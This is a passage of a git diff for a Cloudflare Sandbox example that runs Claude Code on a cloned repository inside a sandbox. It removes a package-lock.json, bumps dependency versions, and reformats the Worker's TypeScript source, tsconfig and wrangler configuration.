"sha512-iG0TIdqv8xJ3Lt9O8DrPRxw1MRLjNpoqiSGU03P/wNLP/s0ra0udPJ1J2Tx5M0J3H/cVyEgpbn8xUKRY9j59kQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@poppinss/colors": "^4.1.5", - "@sindresorhus/is": "^7.0.2", - "supports-color": "^10.0.0" - } - }, - "node_modules/@poppinss/exception": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@poppinss/exception/-/exception-1.2.2.tgz", - "integrity": "sha512-m7bpKCD4QMlFCjA/nKTs23fuvoVFoA83brRKmObCUNmi/9tVu8Ve3w4YQAnJu4q3Tjf5fr685HYIC/IA2zHRSg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@sindresorhus/is": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-7.1.0.tgz", - "integrity": "sha512-7F/yz2IphV39hiS2zB4QYVkivrptHHh0K8qJJd9HhuWSdvf8AN7NpebW3CcDZDBQsUPMoDKWsY2WWgW7bqOcfA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sindresorhus/is?sponsor=1" - } - }, - "node_modules/@speed-highlight/core": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@speed-highlight/core/-/core-1.2.7.tgz", - "integrity": "sha512-0dxmVj4gxg3Jg879kvFS/msl4s9F3T9UXC1InxgOf7t5NvcPD97u/WTA5vL/IxWHMn7qSxBozqrnnE2wvl1m8g==", - "dev": true, - "license": "CC0-1.0" - }, - "node_modules/@types/node": { - "version": "24.9.1", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.9.1.tgz", - "integrity": "sha512-QoiaXANRkSXK6p0Duvt56W208du4P9Uye9hWLWgGMDTEoKPhuenzNcC4vGUmrNkiOKTlIrBoyNQYNpSwfEZXSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "undici-types": "~7.16.0" - } - }, - "node_modules/acorn": { - "version": "8.14.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz", - "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-walk": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.2.tgz", - "integrity": "sha512-cjkyv4OtNCIeqhHrfS81QWXoCBPExR/J62oyEqepVw8WaQeSqpW2uhuLPh1m9eWhDuOo/jUXVTlifvesOWp/4A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/blake3-wasm": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/blake3-wasm/-/blake3-wasm-2.1.5.tgz", - "integrity": "sha512-F1+K8EbfOZE49dtoPtmxUQrpXaBIl3ICvasLh+nJta0xkz+9kF/7uet9fLnwKqhDrmj6g+6K3Tw9yQPUg2ka5g==", - "dev": true, - "license": "MIT" - }, - "node_modules/color": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz", - "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1", - "color-string": "^1.9.0" - }, - "engines": { - "node": ">=12.5.0" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/color-string": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz", - "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "^1.0.0", - "simple-swizzle": "^0.2.2" - } - }, - "node_modules/cookie": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz", - "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/defu": { - "version": "6.1.4", - "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.4.tgz", - "integrity": "sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg==", - "dev": true, - "license": "MIT" - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=8" - } - }, - "node_modules/error-stack-parser-es": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/error-stack-parser-es/-/error-stack-parser-es-1.0.5.tgz", - "integrity": "sha512-5qucVt2XcuGMcEGgWI7i+yZpmpByQ8J1lHhcL7PwqCwu9FPP3VUXzT4ltHe5i2z9dePwEHcDVOAfSnHsOlCXRA==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/esbuild": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.4.tgz", - "integrity": "sha512-8pgjLUcUjcgDg+2Q4NYXnPbo/vncAY4UmyaCm0jZevERqCHZIaWwdJHkf8XQtu4AxSKCdvrUbT0XUr1IdZzI8Q==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.4", - "@esbuild/android-arm": "0.25.4", - "@esbuild/android-arm64": "0.25.4", - "@esbuild/android-x64": "0.25.4", - "@esbuild/darwin-arm64": "0.25.4", - "@esbuild/darwin-x64": "0.25.4", - "@esbuild/freebsd-arm64": "0.25.4", - "@esbuild/freebsd-x64": "0.25.4", - "@esbuild/linux-arm": "0.25.4", - "@esbuild/linux-arm64": "0.25.4", - "@esbuild/linux-ia32": "0.25.4", - "@esbuild/linux-loong64": "0.25.4", - "@esbuild/linux-mips64el": "0.25.4", - "@esbuild/linux-ppc64": "0.25.4", - "@esbuild/linux-riscv64": "0.25.4", - "@esbuild/linux-s390x": "0.25.4", - "@esbuild/linux-x64": "0.25.4", - "@esbuild/netbsd-arm64": "0.25.4", - "@esbuild/netbsd-x64": "0.25.4", - "@esbuild/openbsd-arm64": "0.25.4", - "@esbuild/openbsd-x64": "0.25.4", - "@esbuild/sunos-x64": "0.25.4", - "@esbuild/win32-arm64": "0.25.4", - "@esbuild/win32-ia32": "0.25.4", - "@esbuild/win32-x64": "0.25.4" - } - }, - "node_modules/exit-hook": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/exit-hook/-/exit-hook-2.2.1.tgz", - "integrity": "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/exsolve": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.0.7.tgz", - "integrity": "sha512-VO5fQUzZtI6C+vx4w/4BWJpg3s/5l+6pRQEHzFRM8WFi4XffSP1Z+4qi7GbjWbvRQEbdIco5mIMq+zX4rPuLrw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/glob-to-regexp": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", - "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", - "dev": true, - "license": "BSD-2-Clause" - }, - "node_modules/is-arrayish": { - "version": "0.3.4", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.4.tgz", - "integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/kleur": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", - "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/mime": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz", - "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", - "dev": true, - "license": "MIT", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/miniflare": { - "version": "4.20251011.0", - "resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20251011.0.tgz", - "integrity": "sha512-DlZ7vR5q/RE9eLsxsrXzfSZIF2f6O5k0YsFrSKhWUtdefyGtJt4sSpR6V+Af/waaZ6+zIFy9lsknHBCm49sEYA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@cspotcode/source-map-support": "0.8.1", - "acorn": "8.14.0", - "acorn-walk": "8.3.2", - "exit-hook": "2.2.1", - "glob-to-regexp": "0.4.1", - "sharp": "^0.33.5", - "stoppable": "1.1.0", - "undici": "7.14.0", - "workerd": "1.20251011.0", - "ws": "8.18.0", - "youch": "4.1.0-beta.10", - "zod": "3.22.3" - }, - "bin": { - "miniflare": "bootstrap.js" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/ohash": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.11.tgz", - "integrity": "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/path-to-regexp": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", - "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/semver": { - "version": "7.7.3", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", - "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/sharp": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.33.5.tgz", - "integrity": "sha512-haPVm1EkS9pgvHrQ/F3Xy+hgcuMV0Wm9vfIBSiwZ05k+xgb0PkBQpGsAA/oWdDobNaZTH5ppvHtzCFbnSEwHVw==", - "dev": true, - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "color": "^4.2.3", - "detect-libc": "^2.0.3", - "semver": "^7.6.3" - }, - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-darwin-arm64": "0.33.5", - "@img/sharp-darwin-x64": "0.33.5", - "@img/sharp-libvips-darwin-arm64": "1.0.4", - "@img/sharp-libvips-darwin-x64": "1.0.4", - "@img/sharp-libvips-linux-arm": "1.0.5", - "@img/sharp-libvips-linux-arm64": "1.0.4", - "@img/sharp-libvips-linux-s390x": "1.0.4", - "@img/sharp-libvips-linux-x64": "1.0.4", - "@img/sharp-libvips-linuxmusl-arm64": "1.0.4", - "@img/sharp-libvips-linuxmusl-x64": "1.0.4", - "@img/sharp-linux-arm": "0.33.5", - "@img/sharp-linux-arm64": "0.33.5", - "@img/sharp-linux-s390x": "0.33.5", - "@img/sharp-linux-x64": "0.33.5", - "@img/sharp-linuxmusl-arm64": "0.33.5", - "@img/sharp-linuxmusl-x64": "0.33.5", - "@img/sharp-wasm32": "0.33.5", - "@img/sharp-win32-ia32": "0.33.5", - "@img/sharp-win32-x64": "0.33.5" - } - }, - "node_modules/simple-swizzle": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.4.tgz", - "integrity": "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-arrayish": "^0.3.1" - } - }, - "node_modules/stoppable": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/stoppable/-/stoppable-1.1.0.tgz", - "integrity": "sha512-KXDYZ9dszj6bzvnEMRYvxgeTHU74QBFL54XKtP3nyMuJ81CFYtABZ3bAzL2EdFUaEwJOBOgENyFj3R7oTzDyyw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4", - "npm": ">=6" - } - }, - "node_modules/supports-color": { - "version": "10.2.2", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", - "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/chalk/supports-color?sponsor=1" - } - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "dev": true, - "license": "0BSD", - "optional": true - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/ufo": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.6.1.tgz", - "integrity": "sha512-9a4/uxlTWJ4+a5i0ooc1rU7C7YOw3wT+UGqdeNNHWnOF9qcMBgLRS+4IYUqbczewFx4mLEig6gawh7X6mFlEkA==", - "dev": true, - "license": "MIT" - }, - "node_modules/undici": { - "version": "7.14.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.14.0.tgz", - "integrity": "sha512-Vqs8HTzjpQXZeXdpsfChQTlafcMQaaIwnGwLam1wudSSjlJeQ3bw1j+TLPePgrCnCpUXx7Ba5Pdpf5OBih62NQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=20.18.1" - } - }, - "node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "dev": true, - "license": "MIT" - }, - "node_modules/unenv": { - "version": "2.0.0-rc.21", - "resolved": "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.21.tgz", - "integrity": "sha512-Wj7/AMtE9MRnAXa6Su3Lk0LNCfqDYgfwVjwRFVum9U7wsto1imuHqk4kTm7Jni+5A0Hn7dttL6O/zjvUvoo+8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "defu": "^6.1.4", - "exsolve": "^1.0.7", - "ohash": "^2.0.11", - "pathe": "^2.0.3", - "ufo": "^1.6.1" - } - }, - "node_modules/workerd": { - "version": "1.20251011.0", - "resolved": "https://registry.npmjs.org/workerd/-/workerd-1.20251011.0.tgz", - "integrity": "sha512-Dq35TLPEJAw7BuYQMkN3p9rge34zWMU2Gnd4DSJFeVqld4+DAO2aPG7+We2dNIAyM97S8Y9BmHulbQ00E0HC7Q==", - "dev": true, - "hasInstallScript": true, - "license": "Apache-2.0", - "bin": { - "workerd": "bin/workerd" - }, - "engines": { - "node": ">=16" - }, - "optionalDependencies": { - "@cloudflare/workerd-darwin-64": "1.20251011.0", - "@cloudflare/workerd-darwin-arm64": "1.20251011.0", - "@cloudflare/workerd-linux-64": "1.20251011.0", - "@cloudflare/workerd-linux-arm64": "1.20251011.0", - "@cloudflare/workerd-windows-64": "1.20251011.0" - } - }, - "node_modules/wrangler": { - "version": "4.44.0", - "resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.44.0.tgz", - "integrity": "sha512-BLOUigckcWZ0r4rm7b5PuaTpb9KP9as0XeCRSJ8kqcNgXcKoUD3Ij8FlPvN25KybLnFnetaO0ZdfRYUPWle4qw==", - "dev": true, - "license": "MIT OR Apache-2.0", - "dependencies": { - "@cloudflare/kv-asset-handler": "0.4.0", - "@cloudflare/unenv-preset": "2.7.8", - "blake3-wasm": "2.1.5", - "esbuild": "0.25.4", - "miniflare": "4.20251011.0", - "path-to-regexp": "6.3.0", - "unenv": "2.0.0-rc.21", - "workerd": "1.20251011.0" - }, - "bin": { - "wrangler": "bin/wrangler.js", - "wrangler2": "bin/wrangler.js" - }, - "engines": { - "node": ">=18.0.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - }, - "peerDependencies": { - "@cloudflare/workers-types": "^4.20251011.0" - }, - "peerDependenciesMeta": { - "@cloudflare/workers-types": { - "optional": true - } - } - }, - "node_modules/ws": { - "version": "8.18.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", - "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, - "node_modules/youch": { - "version": "4.1.0-beta.10", - "resolved": "https://registry.npmjs.org/youch/-/youch-4.1.0-beta.10.tgz", - "integrity": "sha512-rLfVLB4FgQneDr0dv1oddCVZmKjcJ6yX6mS4pU82Mq/Dt9a3cLZQ62pDBL4AUO+uVrCvtWz3ZFUL2HFAFJ/BXQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@poppinss/colors": "^4.1.5", - "@poppinss/dumper": "^0.6.4", - "@speed-highlight/core": "^1.2.7", - "cookie": "^1.0.2", - "youch-core": "^0.3.3" - } - }, - "node_modules/youch-core": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/youch-core/-/youch-core-0.3.3.tgz", - "integrity": "sha512-ho7XuGjLaJ2hWHoK8yFnsUGy2Y5uDpqSTq1FkHLK4/oqKtyUU1AFbOOxY4IpC9f0fTLjwYbslUz0Po5BpD1wrA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@poppinss/exception": "^1.2.2", - "error-stack-parser-es": "^1.0.5" - } - }, - "node_modules/zod": { - "version": "3.22.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.22.3.tgz", - "integrity": "sha512-EjIevzuJRiRPbVH4mGc8nApb/lVLKVpmUhAaR5R5doKGfAnGJ6Gr3CViAVjP+4FWSxCsybeWQdcgCtbX+7oZug==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - } - } -} diff --git a/examples/claude-code/package.json b/examples/claude-code/package.json index c6d4a6c2..615c827e 100644 --- a/examples/claude-code/package.json +++ b/examples/claude-code/package.json @@ -1,22 +1,22 @@ { - "name": "@cloudflare/sandbox-claude-code-example", - "version": "1.0.0", - "type": "module", - "private": true, - "description": "A minimal example of using the Claude Code with Sandbox SDK", - "scripts": { - "deploy": "wrangler deploy", - "dev": "wrangler dev", - "start": "wrangler dev", - "types": "wrangler types", - "typecheck": "tsc --noEmit" - }, - "devDependencies": { - "@cloudflare/sandbox": "*", - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" - }, - "author": "", - "license": "MIT" + "name": "@cloudflare/sandbox-claude-code-example", + "version": "1.0.0", + "type": "module", + "private": true, + "description": "A minimal example of using the Claude Code with Sandbox SDK", + "scripts": { + "deploy": "wrangler deploy", + "dev": "wrangler dev", + "start": "wrangler dev", + "types": "wrangler types", + "typecheck": "tsc --noEmit" + }, + "devDependencies": { + "@cloudflare/sandbox": "*", + "@types/node": "^24.9.2", + "typescript": "^5.9.3", + "wrangler": "^4.45.2" + }, + "author": "", + "license": "MIT" } diff --git a/examples/claude-code/src/index.ts b/examples/claude-code/src/index.ts index f67da84e..b11b9a4a 100644 --- a/examples/claude-code/src/index.ts +++ b/examples/claude-code/src/index.ts @@ -1,32 +1,42 @@ -import { getSandbox, type Sandbox } from "@cloudflare/sandbox"; +import { getSandbox, type Sandbox } from '@cloudflare/sandbox'; -interface CmdOutput { success: boolean; stdout: string; stderr: string; }; +interface CmdOutput { + success: boolean; + stdout: string; + stderr: string; +} // helper to read the outputs from `.exec` results -const getOutput = (res: CmdOutput) => res.success ? res.stdout : res.stderr; +const getOutput = (res: CmdOutput) => (res.success ? res.stdout : res.stderr); type Env = { - Sandbox: DurableObjectNamespace; - ANTHROPIC_API_KEY: string; + Sandbox: DurableObjectNamespace; + ANTHROPIC_API_KEY: string; }; -const EXTRA_SYSTEM = "You are an automatic feature-implementer/bug-fixer." + - "You apply all necessary changes to achieve the user request. You must ensure you DO NOT commit the changes, " + - "so the pipeline can read the local `git diff` and apply the change upstream." - +const EXTRA_SYSTEM = + 'You are an automatic feature-implementer/bug-fixer.' + + 'You apply all necessary changes to achieve the user request. You must ensure you DO NOT commit the changes, ' + + 'so the pipeline can read the local `git diff` and apply the change upstream.'; export default { async fetch(request: Request, env: Env): Promise { - if (request.method === "POST") { + if (request.method === 'POST') { try { - const { repo, task } = await request.json<{repo?: string, task?: string}>(); - if (!repo || !task) return new Response("invalid body", { status: 400 }); - - + const { repo, task } = await request.json<{ + repo?: string; + task?: string; + }>(); + if (!repo || !task) + return new Response('invalid body', { status: 400 }); + // get the repo name - const name = repo.split('/').pop() ?? "tmp"; + const name = repo.split('/').pop() ?? 'tmp'; // open sandbox - const sandbox = getSandbox(env.Sandbox, crypto.randomUUID().slice(0, 8)); + const sandbox = getSandbox( + env.Sandbox, + crypto.randomUUID().slice(0, 8) + ); // git clone repo await sandbox.gitCheckout(repo, { targetDir: name }); @@ -37,17 +47,20 @@ export default { await sandbox.setEnvVars({ ANTHROPIC_API_KEY }); // kick off CC with our query - const cmd = `cd ${name} && claude --append-system-prompt "${EXTRA_SYSTEM}" -p "${task.replaceAll("\"", "\\\"")}" --permission-mode acceptEdits`; + const cmd = `cd ${name} && claude --append-system-prompt "${EXTRA_SYSTEM}" -p "${task.replaceAll( + '"', + '\\"' + )}" --permission-mode acceptEdits`; const logs = getOutput(await sandbox.exec(cmd)); - const diff = getOutput(await sandbox.exec("git diff")); + const diff = getOutput(await sandbox.exec('git diff')); return Response.json({ logs, diff }); } catch { - return new Response("invalid body", { status: 400 }); + return new Response('invalid body', { status: 400 }); } } - return new Response("not found"); - }, + return new Response('not found'); + } }; -export { Sandbox } from "@cloudflare/sandbox"; +export { Sandbox } from '@cloudflare/sandbox'; diff --git a/examples/claude-code/tsconfig.json b/examples/claude-code/tsconfig.json index d8303840..5337caeb 100644 --- a/examples/claude-code/tsconfig.json +++ b/examples/claude-code/tsconfig.json @@ -1,15 +1,15 @@ { - "compilerOptions": { - "target": "esnext", - "lib": ["esnext"], - "module": "esnext", - "moduleResolution": "bundler", - "types": ["@types/node", "./worker-configuration.d.ts"], - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "strict": true, - "skipLibCheck": true, - "noEmit": true - }, - "include": ["worker-configuration.d.ts", "src/**/*.ts"] + "compilerOptions": { + "target": "esnext", + "lib": ["esnext"], + "module": "esnext", + "moduleResolution": "bundler", + "types": ["@types/node", "./worker-configuration.d.ts"], + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "strict": true, + "skipLibCheck": true, + "noEmit": true + }, + "include": ["worker-configuration.d.ts", "src/**/*.ts"] } diff --git a/examples/claude-code/wrangler.jsonc b/examples/claude-code/wrangler.jsonc index 504700c3..74e4a66e 100644 --- a/examples/claude-code/wrangler.jsonc +++ b/examples/claude-code/wrangler.jsonc @@ -3,67 +3,63 @@ * https://developers.cloudflare.com/workers/wrangler/configuration/ */ { - "$schema": "node_modules/wrangler/config-schema.json", - "name": "cc-sandbox", - "main": "src/index.ts", - "compatibility_date": "2025-05-06", - "compatibility_flags": [ - "nodejs_compat" - ], - "observability": { - "enabled": true - }, - /** - * Smart Placement - * Docs: https://developers.cloudflare.com/workers/configuration/smart-placement/#smart-placement - */ - // "placement": { "mode": "smart" } - /** - * Bindings - * Bindings allow your Worker to interact with resources on the Cloudflare Developer Platform, including - * databases, object storage, AI inference, real-time communication and more. - * https://developers.cloudflare.com/workers/runtime-apis/bindings/ - */ - /** - * Environment Variables - * https://developers.cloudflare.com/workers/wrangler/configuration/#environment-variables - */ - // "vars": { "MY_VARIABLE": "production_value" } - /** - * Note: Use secrets to store sensitive data. - * https://developers.cloudflare.com/workers/configuration/secrets/ - */ - /** - * Static Assets - * https://developers.cloudflare.com/workers/static-assets/binding/ - */ - // "assets": { "directory": "./public/", "binding": "ASSETS" } - /** - * Service Bindings (communicate between multiple Workers) - * https://developers.cloudflare.com/workers/wrangler/configuration/#service-bindings - */ - // "services": [{ "binding": "MY_SERVICE", "service": "my-service" }] - "containers": [ - { - "class_name": "Sandbox", - "image": "./Dockerfile", - "instance_type": "basic" - } - ], - "durable_objects": { - "bindings": [ - { - "class_name": "Sandbox", - "name": "Sandbox" - } - ] - }, - "migrations": [ - { - "new_sqlite_classes": [ - "Sandbox" - ], - "tag": "v1" - } - ] -} \ No newline at end of file + "$schema": "node_modules/wrangler/config-schema.json", + "name": "cc-sandbox", + "main": "src/index.ts", + "compatibility_date": "2025-05-06", + "compatibility_flags": ["nodejs_compat"], + "observability": { + "enabled": true + }, + /** + * Smart Placement + * Docs: https://developers.cloudflare.com/workers/configuration/smart-placement/#smart-placement + */ + // "placement": { "mode": "smart" } + /** + * Bindings + * Bindings allow your Worker to interact with resources on the Cloudflare Developer Platform, including + * databases, object storage, AI inference, real-time communication and more. + * https://developers.cloudflare.com/workers/runtime-apis/bindings/ + */ + /** + * Environment Variables + * https://developers.cloudflare.com/workers/wrangler/configuration/#environment-variables + */ + // "vars": { "MY_VARIABLE": "production_value" } + /** + * Note: Use secrets to store sensitive data. + * https://developers.cloudflare.com/workers/configuration/secrets/ + */ + /** + * Static Assets + * 